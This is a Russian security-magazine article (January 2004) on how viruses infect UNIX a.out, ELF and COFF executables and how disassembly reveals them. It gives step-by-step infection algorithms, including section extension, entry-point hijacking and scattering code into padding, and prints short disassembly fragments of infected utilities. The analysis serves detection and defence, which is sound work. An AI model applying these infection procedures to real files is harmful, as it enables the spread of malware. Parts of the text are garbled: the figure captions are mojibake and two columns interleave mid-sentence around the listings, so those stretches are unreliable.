www.ibiblio.org/pub/historic-linux/ftp-archives/sunsite.unc.edu/
Nov-06-1994/GCC/ELF.doc.tar.gz («Executable and Linkable
Format – Portable Format Specification») и http://www.nai.com/
№1(14), январь 2004
безопасность
common/media/vil/pdf/mvanvoers_VB_conf%202000.pdf
(«Linux Viruses – ELF File Format»).
Не секрет, что у операционных систем Windows NT и
UNIX много общего, и механизм заражения ELF/COFF/
a.out файлов с высоты птичьего полета ничем не отлича-
ется от заражения форматов семейства NewExe. Тем не
менее, при всем поверхностном сходстве между ними есть
и различия.
Существует по меньшей мере три принципиально раз-
личных способа заражения файлов, распространяемых в
формате a.out:
! «поглощение» оригинального файла с последующей
его записью в tmp и удалением после завершения вы-
полнения (или – «ручная» загрузка файла-жертвы как
вариант);
! расширение последней секции файла и дозапись сво-
его тела в ее конец;
! сжатие части оригинального файла и внедрение свое-
го тела на освободившееся место.
Переход на файлы формата ELF или COFF добавляет
еще четыре:
! расширение кодовой секции файла и внедрение свое-
го тела на освободившееся место;
! сдвиг кодовой секции вниз с последующей записью
своего тела в ее начало;
! создание своей собственной секции в начале, середи-
не или конце файла;
! внедрение между файлом и заголовком.
Внедрившись в файл, вирус должен перехватить на
себя управление, что обычно осуществляется следующи-
ми путями:
! созданием собственного заголовка и собственного сег-
мента кода/данных, перекрывающего уже существу-
ющий;
! коррекцией точки входа в заголовке файла-жертвы;
! внедрением в исполняемый код файла-жертвы коман-
ды перехода на свое тело;
! модификацией таблицы импорта (в терминологии
a.out – таблицы символов) для подмены функций, что
особенно актуально для Stealth-вирусов.
Всем этим махинациям (кроме приема с «поглощени-
ем») очень трудно остаться незамеченными, и факт за-
ражения в подавляющем большинстве случаев удается
определить простым визуальным просмотром дизассем-
блерного листинга анализируемого файла. Подробнее об
этом мы поговорим чуточку позже, а пока обратим свое
внимание на механизмы системных вызовов, используе-
мые вирусами для обеспечения минимально необходимо-
го уровня жизнедеятельности.
Для нормального функционирования вирусу необхо-
димы по меньшей мере четыре основных функции для
работы с файлами (как то: открытие/закрытие/чтение/за-
пись файла) и опционально функция поиска файлов на
диске/сети. В противном случае вирус просто не сможет
реализовать свои репродуктивные возможности, и это уже
не вирус получится, а Троянский Конь!
11
 безопасность
Существует по меньшей мере три пути для решения
этой задачи:
! использовать системные функции жертвы (если они у
нее, конечно, есть);
! дополнить таблицу импорта жертвы всем необходи-
мым;
! использовать native-API операционной системы.
И последнее. Ассемблерные вирусы (а таковых сре-
ди UNIX-вирусов подавляющее большинство) разитель-
но отличаются от откомпилированных программ нетипич-
ным для языков высокого уровня лаконичным, но в то
же время излишне прямолинейным стилем. Поскольку
упаковщики исполняемых файлов в мире UNIX практи-
чески никем не используются, всякая посторонняя «на-
шлепка» на исполняемый файл с высокой степенью ве-
роятности является троянской компонентой или вирусом.
Теперь рассмотрим каждый из вышеперечисленных
пунктов во всех подробностях.
Заражение посредством поглощения файла
Вирусы этого типа пишутся преимущественно начина-
ющими программистами, еще не успевшими освоить
азы архитектуры операционной системы, но уже стре-
мящимися кому-то сильно напакостить. Алгоритм за-
ражения в общем виде выглядит так: вирус находит
жертву, убеждается, что она еще не заражена и что все
необходимые права на модификацию этого файла у
него присутствуют. Затем он считывает жертву в па-
мять (временный файл) и записывает себя поверх за-
ражаемого файла. Оригинальный файл дописывается
в хвост вируса как оверлей, либо же помещается в сег-
мент данных (см. рис. 1).
Получив управление, вирус извлекает из своего тела
содержимое оригинального файла, записывает его во
временный файл, присваивает ему атрибут исполняе-
мого и запускает «излеченный» файл на выполнение,
после чего удаляет с диска вновь. Поскольку подобные
манипуляции редко остаются незамеченными, некото-
рые вирусы отваживаются на «ручную» загрузку жерт-
вы с диска. Впрочем, процедуру для корректной заг-
рузки ELF-файла написать нелегко и еще сложнее ее
отладить, поэтому появление таких вирусов представ-
ляется достаточно маловероятным (ELF – это вам не
простенький a.out!)
Характерной чертой подобных вирусов является кро-
шечный сегмент кода, за которым следует огромный сег-
мент данных (оверлей), представляющий собой самосто-
ятельный исполняемый файл. Попробуйте контекстным
поиском найти ELF/COFF/a.out заголовок – в зараженном
файле их будет два! Только не пытайтесь дизассембли-
ровать оверлей/сегмент данных, – осмысленного кода все
равно не получится, т.к., во-первых, для этого требуется
знать точное расположение точки входа, а во-вторых, рас-
положить хвост дизассемблируемого файла по его закон-
ным адресам. К тому же оригинальное содержимое фай-
ла может быть умышленно зашифровано вирусом, и тог-
да дизассемблер вернет бессодержательный мусор, в
котором будет непросто разобраться. Впрочем, это не
12
сильно затрудняет анализ. Код вируса навряд ли будет
очень большим, и на восстановление алгоритма шифро-
вания (если тот действительно имеет место) не уйдет
много времени.
Хуже, если вирус переносит часть оригинального фай-
ла в сегмент данных, а часть – в сегмент кода. Такой файл
выглядит как обыкновенная программа за тем единствен-
ным исключением, что большая часть кодового сегмента
представляет собой «мертвый код», никогда не получаю-
щий управления. Сегмент данных на первый взгляд выг-
лядит как будто бы нормально, однако при внимательном
рассмотрении обнаруживается, что все перекрестные
ссылки (например, ссылки на текстовые строки) смеще-
ны относительно их «родных» адресов. Как нетрудно до-
гадаться – величина смещения и представляет собой дли-
ну вируса.
Дизассемблирование выявляет характерные для ви-
русов этого типа функции exec и fork, использующиеся
для запуска «вылеченного» файла, функцию chmod для
присвоения файлу атрибута исполняемого и т. д.
Ðèñóíîê 1. Òèïîâàÿ ñõåìà çàðàæåíèÿ èñïîëíÿåìîãî ôàéëà ïóòåì
åãî ïîãëîùåíèÿ
Ðèñóíîê 2. Ïðèìåð ôàéëà, ïîãëîùåííîãî âèðóñîì UNIX.a.out.
Êðîõîòíûé, âñåãî â òðèñòà áàéò, ðàçìåð êîäîâîé ñåêöèè óêà-
çûâàåò íà âûñîêóþ âåðîÿòíîñòü çàðàæåíèÿ
Заражение посредством расширения
последней секции файла
Простейший способ неразрушающего заражения фай-
ла состоит в расширении последней секции/сегмента
жертвы и дозаписи своего тела в ее конец (далее по
тексту просто «секции», хотя применительно к ELF-фай-
лам это будет несколько некорректно, т.к. системный
загрузчик исполняемых ELF-файлов работает исключи-
тельно с сегментами, а секции игнорирует). Строго го-
воря, это утверждение не совсем верно. Последней
секцией файла, как правило, является секция .bss,
предназначенная для хранения неинициализированных
данных. Внедряться сюда можно, но бессмысленно,

поскольку загрузчик не настолько глуп, чтобы тратить
драгоценное процессорное время на загрузку неини-
циализированных данных с медленного диска. Правиль-
нее было бы сказать «последней значимой секции», но
давайте не будем придираться, это ведь не научная ста-
тья, верно?
Перед секций .bss обычно располагается секция .data,
содержащая инициализированные данные. Вот она-то и
становится основным объектом вирусной атаки! Натра-
вив дизассемблер на исследуемый файл, посмотрите, в
какой секции расположена точка входа. И если этой сек-
цией окажется секция данных (как, например, в случае,
изображенном в листинге 5), исследуемый файл с вы-
сокой степенью вероятности заражен вирусом.
При внедрении в a.out-файл вирус в общем случае дол-
жен проделать следующие действия:
! считав заголовок файла, убедиться, что это действи-
тельно a.out-файл;
! увеличить поле a_data на величину, равную размеру
своего тела;
! скопировать себя в конец файла;
! скорректировать содержимое поля a_entry для пере-
хвата управления (если вирус действительно перехва-
тывает управление таким образом).
Внедрение в ELF-файлы происходит несколько более
сложным образом:
! вирус открывает файл и, считывая его заголовок, убеж-
дается, что это действительно ELF;
! просматривая Program Header Table, вирус отыскива-
ет сегмент, наиболее подходящий для заражения (для
заражения подходит любой сегмент с атрибутом
PL_LOAD; собственно говоря, остальные сегменты
более или менее подходят тоже, но вирусный код в них
будет смотреться несколько странно);
! найденный сегмент «распахивается» до конца файла
и увеличивается на величину, равную размеру тела
вируса, что осуществляется путем синхронной коррек-
ции полей p_filez и p_memz;
! вирус дописывает себя в конец заражаемого файла;
! для перехвата управления вирус корректирует точку
входа в файл (e_entry), либо же внедряет в истинную
точку входа jmp на свое тело (впрочем, методика пе-
рехвата управления тема отдельного большого разго-
вора).
Маленькое техническое замечание. Секция данных,
как правило, имеет всего лишь два атрибута: атрибут
чтения (Read) и атрибут записи (Write). Атрибут испол-
нения (Execute) у нее по умолчанию отсутствует. Озна-
чает ли это, что выполнение вирусного кода в ней ока-
жется невозможным? Вопрос не имеет однозначного
ответа. Все зависит от особенностей реализации конк-
ретного процессора и конкретной операционной систе-
мы. Некоторые из них игнорируют отсутствие атрибута
исполнения, полагая, что право исполнения кода напря-
мую вытекает из права чтения. Другие же возбуждают
исключение, аварийно завершая выполнение заражен-
ной программы. Для обхода этой ситуации вирусы мо-
№1(14), январь 2004
безопасность
гут присваивать секции данных атрибут Execute, выда-
вая тем самым себя с головой, впрочем, такие экземп-
ляры встречаются крайне редко, и подавляющее боль-
шинство вирусописателей оставляет секцию данных с
атрибутами по умолчанию.
Другой немаловажный и не очевидный на первый
взгляд момент. Задумайтесь, как изменится поведение
зараженного файла при внедрении вируса в не-после-
днюю секцию .data, следом за которой расположена .bss?
А никак не изменится! Несмотря на то, что последняя
секция будет спроецирована совсем не по тем адресам,
программный код об этом «не узнает» и продолжит об-
ращаться к неинициализированным переменным по их
прежним адресам, теперь занятых кодом вируса, кото-
рый к этому моменту уже отработал и возвратил ориги-
нальному файлу все бразды правления. При условии, что
программный код спроектирован корректно и не закла-
дывается на начальное значение неинициализированных
переменных, присутствие вируса не нарушит работос-
пособности программы.
Однако в суровых условиях реальной жизни этот эле-
гантный прием заражения перестает работать, поскольку
среднестатистическое UNIX-приложение содержит поряд-
ка десяти различных секций всех назначений и мастей.
Взгляните, например, на строение утилиты ls, позаимство-
ванной из следующего дистрибутива UNIX: Red Hat 5.0:
Ëèñòèíã 5. Òàê âûãëÿäèò òèïè÷íàÿ êàðòà ïàìÿòè íîðìàëüíîãî ôàéëà
Секция .data расположена в самой «гуще» файла, и
чтобы до нее добраться, вирусу придется позаботиться о
модификации семи остальных секций, скорректировав их
поля p_offset (смещение секции от начала файла) надле-
жащим образом. Некоторые вирусы этого не делают, в
результате чего зараженные файлы не запускаются.
С другой стороны, секция .data рассматриваемого
файла насчитывает всего 10h байт, поскольку львиная
часть данных программы размещена в секции .rodata (сек-
ции данных, доступной только на чтение). Это типичная
практика современных линкеров, и большинство испол-
няемых файлов организованы именно так. Вирус не мо-
жет разместить свой код в секции .data, поскольку это де-
лает его слишком заметным, не может он внедриться и в
.rodata, т.к. в этом случае он не сможет себя расшифро-
вать (выделить память на стеке и скопировать туда свое
тело – не предлагать: для современных вирусописателей
это слишком сложно). Да и смысла в этом будет немного.
Коль скоро вирусу приходится внедряться не в конец, а в
середину файла, уж лучше ему внедриться не в секцию
данных, а в секцию .text, содержащую машинный код. Там
вирус будет не так заметен (он об этом мы поговорим поз-
же см. «Заражение посредством расширения кодовой
секции файла»).
13
 безопасность
Ðèñóíîê 3. Òèïîâàÿ ñõåìà çàðàæåíèÿ èñïîëíÿåìîãî ôàéëà ïóòåì
ðàñøèðåíèÿ åãî ïîñëåäíåé ñåêöèè
Ðèñóíîê 4. Âíåøíèé âèä ôàéëà, çàðàæåííîãî âèðóñîì
PolyEngine.Linux.LIME.poly; âèðóñ âíåäðÿåò ñâîå òåëî â êî-
íåö ñåêöèè äàííûõ è óñòàíàâëèâàåò íà íåãî òî÷êó âõîäà.
Íàëè÷èå èñïîëíÿåìîãî êîäà â ñåêöèè äàííûõ äåëàåò ïðèñóò-
ñòâèå âèðóñà ÷ðåçâû÷àéíî çàìåòíûì
Сжатие части оригинального файла
Древние считали, что истина в вине. Они явно ошибались.
Истина в том, что день ото дня программы становятся все
жирнее и жирнее, а вирусы все изощреннее и изощреннее.
Какой бы уродливый код ни выбрасывала на рынок фирма
Microsoft, он все же лучше некоторых UNIX-подделок. На-
пример файл cat, входящий в FreeBSD 4.5, занимает более
64 Кб. Не слишком ли много для простенькой утилиты?!
Просмотр файла под HEX-редактором обнаруживает
большое количество регулярных последовательностей (в
большинстве своем – цепочек нулей), которые либо вооб-
ще никак не используется, либо поддаются эффективному
сжатию. Вирус, соблазнившись наличием свободного мес-
та, может скопировать туда свое тело, пускай ему и придет-
ся «рассыпаться» на несколько десятков пятен. Если же сво-
бодное место отсутствует – не беда! Практически каждый
исполняемый файл содержит большое количество тексто-
вых строк, а текстовые строки, как хорошо известно, легко
поддаются сжатию. На первый взгляд, такой алгоритм зара-
жения кажется чрезвычайно сложным, но, поверьте, реали-
зовать простейший упаковщик Хаффмана намного проще
того шаманства с раздвижками секций, что приходится де-
лать вирусу для внедрения в середину файла. К тому же
14
при таком способе заражения длина файла остается неиз-
менной, что частично скрывает факт наличия вируса.
Рассмотрим, как происходит внедрение вируса в ко-
довый сегмент. В простейшем случае вирус сканирует
файл на предмет поиска более или менее длинной после-
довательности команд NOP, использующихся для вырав-
нивания программного кода по кратным адресам, запи-
сывает в них кусочек своего тела и добавляет команду
перехода на следующий фрагмент. Так продолжается до
тех пор, пока вирус полностью не окажется в файле. На
завершающем этапе заражения вирус записывает адре-
са «захваченных» им фрагментов, после чего передает
управление файлу-носителю (если этого не сделать, ви-
рус не сможет скопировать свое тело в следующий зара-
жаемый файл, правда, пара особо изощренных вирусов
содержит встроенный трассировщик, автоматически со-
бирающий тело вируса на лету, но это чисто лаборатор-
ные вирусы, и на свободе им не гулять).
Различные программы содержат различное количе-
ство свободного места, расходующегося на выравнива-
ние. В частности, программы, входящие в базовый комп-
лект поставки FreeBSD 4.5, преимущественно откомили-
рованы с выравниванием на величину 4-х байт. Учитывая,
что команда безусловного перехода в x86-системах зани-
мает по меньшей мере два байта, втиснуться в этот скром-
ный объем вирусу просто нереально. С операционной сис-
темой Red Hat 5.0 дела обстоят иначе. Кратность выравни-
вания, установленная на величину от 08h до 10h байт, с
легкостью вмещает в себя вирус средних размеров.
Ниже в качестве примера приведен фрагмент дизассем-
блерного листинга утилиты PING, зараженной вирусом
UNIX.NuxBe.quilt (модификация известного вируса NuxBee,
опубликованного в электронном журнале, выпускаемом
группой #29A). Даже начинающий исследователь легко об-
наружит присутствие вируса в теле программы. Характер-
ная цепочка jmp, протянувшаяся через весь сегмент дан-
ных, не может не броситься в глаза. В «честных» програм-
мах такого практически никогда не бывает (хитрые конвер-
тные защиты и упаковщики исполняемых файлов, постро-
енные на полиморфных движках, мы оставим в стороне).
Отметим, что фрагменты вируса не обязательно дол-
жны следовать линейно. Напротив, вирус (если только его
создатель не даун) предпримет все усилия, чтобы замас-
кировать факт своего существования. Вы должны быть
готовы к тому, что jmp будут блохой скакать по всему фай-
лу, используя «левые» эпилоги и прологи для слияния с
окружающими функциями. Но этот обман легко разобла-
чить по перекрестным ссылкам, автоматически генери-
руемым дизассемблером IDA Pro (на подложные проло-
ги/эпилоги перекрестные ссылки отсутствуют!):
Ëèñòèíã 6. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì UNIX.NuxBe.quilt,
«ðàçìàçûâàþùèì» ñåáÿ ïî êîäîâîé ñåêöèè
.text:08000BD9 xor eax, eax
.text:08000BDB xor ebx, ebx
.text:08000BDD jmp short loc_8000C01
…
.text:08000C01 loc_8000C01: ; CODE XREF: .text:0800BDD↑j
.text:08000C01 mov ebx, esp
.text:08000C03 mov eax, 90h
.text:08000C08 int 80h ; LINUX - sys_msync
.text:08000C0A add esp, 18h
 безопасность
.text:08000C0D jmp loc_8000D18 Исследователи, имеющие некоторый опыт работы с
… IDA, здесь, возможно, возразят: мол, какие проблемы?
.text:08000D18 loc_8000D18: ; CODE XREF: .text:08000C0D↑j
.text:08000D18 dec eax Подогнал курсор к первому символу, следующему за кон-
.text:08000D19 jns short loc_8000D53 цом ASCIIZ-строки, нажал на <C>, и… дизассемблер мгно-
.text:08000D1B jmp short loc_8000D2B
… венно распахнул код вируса, живописно вплетенный в
.text:08000D53 loc_8000D53: ; CODE XREF: .text:08000D19↑j текстовые строки (см. листинг 7). На самом деле так слу-
.text:08000D53 inc eax
.text:08000D54 mov [ebp+8000466h], eax чается только в теории. Среди нечитабельных символов
.text:08000D5A mov edx, eax вируса присутствуют и читабельные тоже. Эвристический
.text:08000D5C jmp short loc_8000D6C
анализатор IDA, ошибочно приняв последние за «настоя-
Кстати говоря, рассмотренный нами алгоритм не со- щие» текстовые строки, просто не позволит их дизассем-
всем корректен. Цепочка NOP может встретиться в лю- блировать. Ну, во всяком случае до тех пор, пока они явно
бом месте программы (например, внутри функции), и тог- не будут «обезличены» нажатием клавиши <U>. К тому
да зараженный файл перестанет работать. Чтобы этого же вирус может вставлять в начало каждого своего фраг-
не произошло, некоторые вирусы выполняют ряд допол- мента специальный символ, являющийся частью той или
нительных проверок, в частности убеждаются, что NOP иной машинной команды и сбивающий дизассемблер с
расположены между двумя функциями, опознавая их по толку. В результате IDA дизассемблирует всего лишь
командам пролога/эпилога. один-единственный фрагмент вируса (да и тот некоррек-
Внедрение в секцию данных осуществляется еще про- тно), после чего заткнется, подталкивая нас к индуктив-
ще. Вирус ищет длинную цепочку нулей, разделенную ному выводу, что мы имеем дело с легальной структурой
читабельными (точнее – printable) ASCII-символами и, най- данных, и зловредный машинный код здесь отродясь не
дя таковую, полагает, что он находится на ничейной тер- ночевал.
ритории, образовавшейся в результате выравнивания тек- Увы! Какой бы могучей IDA ни была, она все-таки не
стовых строк. Поскольку текстовые строки все чаще рас- всесильна, и над всяким полученным листингом вам еще
полагаются в секции .rodata, доступной лишь на чтение, предстоит поработать. Впрочем, при некотором опыте
вирус должен быть готов сохранять все модифицируемые дизассемблирования многие машинные команды распоз-
им ячейки на стеке и/или динамической памяти. наются в HEX-дампе с первого взгляда (пользуясь случа-
Забавно, но вирусы этого типа достаточно трудно об- ем, отсылаю вас к «Технике и философии хакерских атак/
наружить. Действительно, наличие нечитабельных ASCII- дизассемблирование в уме», ставшей уже библиографи-
символов между текстовыми строками – явление вполне ческой редкостью, т.к. ее дальнейших переизданий уже
нормальное. Может быть, это смещения или еще какие не планируется):
структуры данных, на худой конец – мусор, оставленный
линкером! Ëèñòèíã 7. Ôðàãìåíò ôàéëà, çàðàæåííîãî âèðóñîì
UNIX.NuxBe.jullet, «0ðàçìàçûâàþùèì» ñåáÿ ïî ñåêöèè äàííûõ
Взгляните на рисунок 5, приведенный ниже. Согласитесь,
что факт зараженности файла вовсе не так очевиден: .rodata:08054140 aFileNameTooLon db 'File name too long',0
.rodata:08054153 ; ----------------------------------------
.rodata:08054153 mov ebx, 1
.rodata:08054158 mov ecx, 8049A55h
.rodata:08054158 jmp loc_80541A9
.rodata:08054160 ; ---------------------------------------
.rodata:08054160 aTooManyLevelsO db 'Too many levels ↵
of symbolic links',0
.rodata:08054182 aConnectionRefu db 'Connection refused',0
.rodata:08054195 aOperationTimed db 'Operation timed out',0
.rodata:080541A9 ; ---------------------------------------
.rodata:080541A9 loc_80541A9:
.rodata:080541A9 mov edx, 2Dh
.rodata:080541AE int 80h ; LINUX -
.rodata:080541B0 mov ecx, 51000032h
.rodata:080541B5 mov eax, 8
.rodata:080541BA jmp loc_80541E2
.rodata:080541BA ; ---------------------------------------
.rodata:080541BF db 90h ; Ð
.rodata:080541C0 aTooManyReferen db 'Too many references: ↵
can',27h,'t splice',0
.rodata:080541E2 ; ---------------------------------------
.rodata:080541E2 loc_80541E2:
.rodata:080541E2 mov ecx, 1FDh
.rodata:080541E7 int 80h ; LINUX - sys_creat
.rodata:080541E9 push eax
.rodata:080541EA mov eax, 0
.rodata:080541EF add [ebx+8049B43h], bh
.rodata:080541F5 mov ecx, 8049A82h
.rodata:080541FA jmp near ptr unk_8054288
.rodata:080541FA ; ---------------------------------------
.rodata:080541FF db 90h ; Ð
.rodata:08054200 aCanTSendAfterS db 'Can',27h,'t send ↵
after socket shutdown',0

Однако требуемого количества междустрочных байт

Ðèñóíîê 5. Òàê âûãëÿäåë ôàéë cat äî (íàâåðõó) è ïîñëå (ñíèçó)
åãî çàðàæåíèÿ удается наскрести далеко не во всех исполняемых фай-

№1(14), январь 2004 15

 безопасность
лах, и тогда вирус может прибегнуть к поиску более или
менее регулярной области с последующим ее сжатием. В
простейшем случае ищется цепочка, состоящая из оди-
наковых байт, сжимаемая по алгоритму RLE. При этом
вирус должен следить за тем, чтобы не нарваться на мину
перемещаемых элементов (впрочем, ни один из извест-
ных автору вирусов этого не делал). Получив управление
и совершив все, что он хотел совершить, вирус забрасы-
вает на стек распаковщик сжатого кода, отвечающий за
приведение файла в исходное состояние. Легко видеть,
что таким способом заражаются лишь секции, доступные
как на запись, так и на чтение (т.е. наиболее соблазни-
тельные секции .rodata и .text уже не подходят, ну разве
что вирус отважится изменить их атрибуты, выдавая факт
заражения с головой).
Наиболее настырные вирусы могут поражать и сек-
ции неинициализированных данных. Нет, это не ошибка,
такие вирусы действительно есть. Их появление объяс-
няется тем обстоятельством, что полноценный вирус в
«дырах», оставшихся от выравнивания, разместить все-
таки трудно, но вот вирусный загрузчик туда влезает впол-
не. Секции неинициализированных данных, строго гово-
ря, не только не обязаны загружаться с диска в память
(хотя некоторые UNIX их все-таки загружают), но могут
вообще отсутствовать в файле, динамически создаваясь
системным загрузчиком на лету. Однако вирус и не соби-
рается искать их в памяти! Вместо этого он вручную счи-
тывает их непосредственно с самого зараженного файла
(правда, в некоторых случаях доступ к текущему выпол-
няемому файлу предусмотрительно блокируется опера-
ционной системой).
На первый взгляд, помещение вирусом своего тела в
секции неинициализированных данных ничего не меня-
ет (если даже не демаскирует вирус), но при попытке
поимки такого вируса за хвост он выскользнет из рук.
Секция неинициализированных данных визуально ничем
не отличается от всех остальных секций файла, и со-
держать она может все, что угодно: от длинной серии
нулей, до копирайтов разработчика. В частности, созда-
тели дистрибутива FreeBSD 4.5 именно так и поступают
(см. листинг 8).
Ëèñòèíã 8. Òàê âûãëÿäèò ñåêöèÿ .bss áîëüøèíñòâà ôàéëîâ èç êîì-
ïëåêòà ïîñòàâêè Free BSD
Ряд дизассемблеров (и IDA Pro в том числе) по вполне
логичным соображениям не загружает содержимое сек-
ций неинициализированных данных, явно отмечая это
обстоятельство двойным знаком вопроса (см. листинг 9).
Приходится исследовать файл непосредственно в HIEW
или любом другом HEX-редакторе, разбирая a.out/ELF-
формат «вручную», т.к. популярные HEX-редакторы его
не поддерживают. Скажите честно: готовы ли вы этим
16
реально заниматься? Так что, как ни крути, а вирусы это-
го типа имеют все шансы на выживание, пусть массовых
эпидемий им никогда не видать.
Ëèñòèíã 9. Òàê âûãëÿäèò ñåêöèÿ .bss â äèçàññåìáëåðå IDA Pro
è áîëüøèíñòâå äðóãèõ äèçàññåìáëåðîâ
Заражение посредством расширения
кодовой секции файла
Наибольшую скрытность вирусу обеспечивает внедрение
в кодовую секцию заражаемого файла, находящуюся глу-
боко в середине последнего. Тело вируса, сливаясь с ис-
ходным машинным кодом, виртуально становится совер-
шенно не отличимым от «нормальной» программы, и об-
наружить такую заразу можно лишь анализом ее алго-
ритма (см. также «Основные признаки вирусов»).
Безболезненное расширение кодовой секции возмож-
но лишь в ELF- и COFF-файлах (под «безболезненнос-
тью» здесь понимается отсутствие необходимости в пе-
рекомпиляции файла-жертвы), и достигается оно за счет
того замечательного обстоятельства, что стартовые вир-
туальные адреса сегментов/секций отделены от их физи-
ческих смещений, отсчитываемых от начала файла.
Алгоритм заражения ELF-файла в общем виде выгля-
дит так (внедрение в COFF-файлы осуществляется ана-
логичным образом):
! вирус открывает файл и, считав его заголовок, убеж-
дается, что это действительно ELF;
! заголовок таблицы секций (Section Header Table) пе-
ремещается вниз на величину, равную длине тела ви-
руса. Для этого вирус увеличивает содержимое поля
e_shoff, оккупирующего 20h – 23h байты ELF-заголов-
ка, (примечание: заголовок таблицы секций, равно как
и сами секции, имеет значение только для компоно-
вочных файлов, загрузчик исполняемых файлов их иг-
норирует, независимо от того, присутствуют они в фай-
ле или нет);
! просматривая Program Header Table, вирус находит сег-
мент, наиболее предпочтительный для заражения (т.е.
тот сегмент, в который указывает точка входа);
! длина найденного сегмента увеличивается на величи-
ну, равную размеру тела вируса. Это осуществляется
путем синхронной коррекции полей p_filez и p_memz;
! все остальные сегменты смещаются вниз, при этом
поле p_offset каждого из них увеличивается на длину
тела вируса;
! анализируя заголовок таблицы секций (если он толь-
ко присутствует в файле), вирус находит секцию, наи-
более предпочтительную для заражения (как прави-
ло, заражается секция, находящаяся в сегменте пос-
ледней: это избавляет вируса от необходимости пере-
мещения всех остальных секций вниз);
! размер заражаемой секции (поле sh_size) увеличива-
ется на величину, равную размеру тела вируса;

! все хвостовые секции сегмента смещаются вниз, при
этом поле sh_offset каждой из них увеличивается на
длину тела вируса (если вирус внедряется в последнюю
секцию сегмента, этого делать не нужно);
! вирус дописывает себя к концу заражаемого сегмен-
та, физически смещая содержимое всей остальной ча-
сти файла вниз;
! для перехвата управления вирус корректирует точку
входа в файл (e_entry) либо же внедряет в истинную
точку входа jmp на свое тело (впрочем, методика пе-
рехвата управления – тема отдельного большого раз-
говора).
Прежде чем приступить к обсуждению характерных
«следов» вирусного внедрения, давайте посмотрим, ка-
кие секции в каких сегментах обычно бывают расположе-
ны. Оказывается, схема их распределения далеко не од-
нозначна и возможны самые разнообразные вариации. В
одних случаях секции кода и данных помещаются в от-
дельные сегменты, в других – секции данных, доступные
только на чтение, объединяются с секциями кода в еди-
ный сегмент. Соответственно и последняя секция кодо-
вого сегмента каждый раз будет иной.
Большинство файлов включает в себя более одной
кодовой секции, и располагаются эти секции приблизи-
тельно так:
Ëèñòèíã 10. Ñõåìà ðàñïîëîæåíèÿ êîäîâûõ ñåêöèé òèïè÷íîãî ôàéëà
.init ñîäåðæèò èíèöèàëèçàöèîííûé êîä
.plt ñîäåðæèò òàáëèöó ñâÿçêè ïîäïðîãðàìì
.text ñîäåðæèò îñíîâíîé êîä ïðîãðàììû
.fini ñîäåðæèò òåðìèðóþùèé êîä ïðîãðàììû
Присутствие секции .finit делает секцию .text не после-
дней секцией кодового сегмента файла, как чаще всего и
происходит. Таким образом, в зависимости от стратегии
распределения секций по сегментам, последней секцией
файла обычно является либо секция .finit, либо .rodata.
Секция .finit в большинстве своем это такая крохот-
ная секция, заражение которой трудно оставить неза-
меченным. Код, расположенный в секции .finit и непос-
редственно перехватывающий на себя нить выполне-
ния программой, выглядит несколько странно, если не
сказать – подозрительно (обычно управление на .finit
передается косвенным образом как аргумент функции
atexit). Вторжение будет еще заметнее, если последней
секцией в заражаемом сегменте окажется секция
.rodata (машинный код при нормальном развитии со-
бытий в данные никогда не попадает). Не остается не-
замеченным и вторжение в конец первой секции кодо-
вого сегмента (в последнюю секцию сегмента, предше-
ствующему кодовому сегменту), поскольку кодовый
сегмент практически всегда начинается с секции .init,
вызываемой из глубины стартового кода и по обыкно-
вению содержащей пару-тройку машинных команд.
Вирусу здесь будет просто негде затеряться, и его при-
сутствие сразу же становится заметным!
Более совершенные вирусы внедряются в конец сек-
ции .text, сдвигая все остальное содержимое файла вниз.
Распознать такую заразу значительно сложнее, посколь-
№1(14), январь 2004
безопасность
ку визуально структура файла выглядит неискаженной.
Однако некоторые зацепки все-таки есть. Во-первых, ори-
гинальная точка входа подавляющего большинства фай-
лов расположена в начале кодовой секции, а не в ее кон-
це. Во-вторых, зараженный файл имеет нетипичный стар-
товый код (подробнее об этом рассказывалось в преды-
дущей статье). И, в-третьих, далеко не все вирусы забо-
тятся о выравнивании сегментов (секций).
Последний случай стоит рассмотреть особо. Систем-
ному загрузчику, ничего не знающему о существова-
нии секций, степень их выравнивания некритична. Тем
не менее, во всех нормальных исполняемых файлах сек-
ции тщательно выровнены на величину, указанную в
поле sh_addralign. При заражении файла вирусом пос-
ледний далеко не всегда оказывается так аккуратен, и
некоторые секции могут неожиданно для себя очутить-
ся по некратным адресам. Работоспособности програм-
мы это не нарушит, но вот факт вторжения вируса сра-
зу же демаскирует.
Сегменты выравнивать тоже необязательно (при не-
обходимости системный загрузчик сделает это сам), од-
нако программистский этикет предписывает выравнивать
секции, даже если поле p_align равно нулю (т.е. выравни-
вания не требуется). Все нормальные линкеры выравни-
вают сегменты по крайней мере на величину, кратную
32 байтам, хотя это происходит и не всегда. Тем не ме-
нее, если сегменты, следующие за сегментом кода, вы-
ровнены на меньшую величину – к такому файлу следует
присмотреться повнимательнее.
Другой немаловажный момент: при внедрении вируса
в начало кодового сегмента он может создать свой соб-
ственный сегмент, предшествующий данному. И тут ви-
рус неожиданно сталкивается с довольно интересной про-
блемой. Сдвинуть кодовый сегмент вниз он не может, т.к.
тот обычно начинается с нулевого смещения в файле,
перекрывая собой предшествующие ему сегменты. За-
раженная программа в принципе может и работать, но
раскладка сегментов становится слишком уж необычной,
чтобы ее не заметить.
Выравнивание функций внутри секций – это вообще
вещь (в смысле: вещдок – вещественное доказательство).
Кратность выравнивания функций нигде и никак не дек-
ларируется, и всякий программист склонен выравнивать
функции по-своему. Одни используют выравнивание на
адреса, кратные 04h, другие – 08h, 10h или даже 20h! Оп-
ределить степень выравнивания без качественного дизас-
семблера практически невозможно. Требуется выписать
стартовые адреса всех функций и найти наибольший де-
литель, на который все они делятся без остатка. Дописы-
вая себя в конец кодового сегмента, вирус наверняка
ошибется с выравниванием адреса пролога функции (если
он вообще позаботится о создании функции в этом мес-
те!), и он окажется отличным от степени выравнивания,
принятой всеми остальными функциями (попутно заме-
тим, что определять степень выравнивания при помощи
дизассемблера IDA PRO – плохая идея, т.к. она определя-
ет ее неправильно, закладываясь на наименьшее возмож-
ное значение, в результате чего вычисленная степень вы-
равнивания от функции к функции будет варьироваться).
17
 безопасность
Классическим примером вируса, внедряющегося в файл
путем расширения кодового сегмента, является вирус
Linux.Vit.4096. Любопытно, что различные авторы по-раз-
ному описывают стратегии, используемые вирусом для
заражения. Так, Евгений Касперский почему-то считает, что
вирус Vit записывается в начало кодовой секции заражае-
мого файла (http://www.viruslist.com/viruslist.html?id=3276),
в то время как он размещает свое тело в конце кодового
сегмента файла (http://www.nai.com/common/media/vil/pdf/
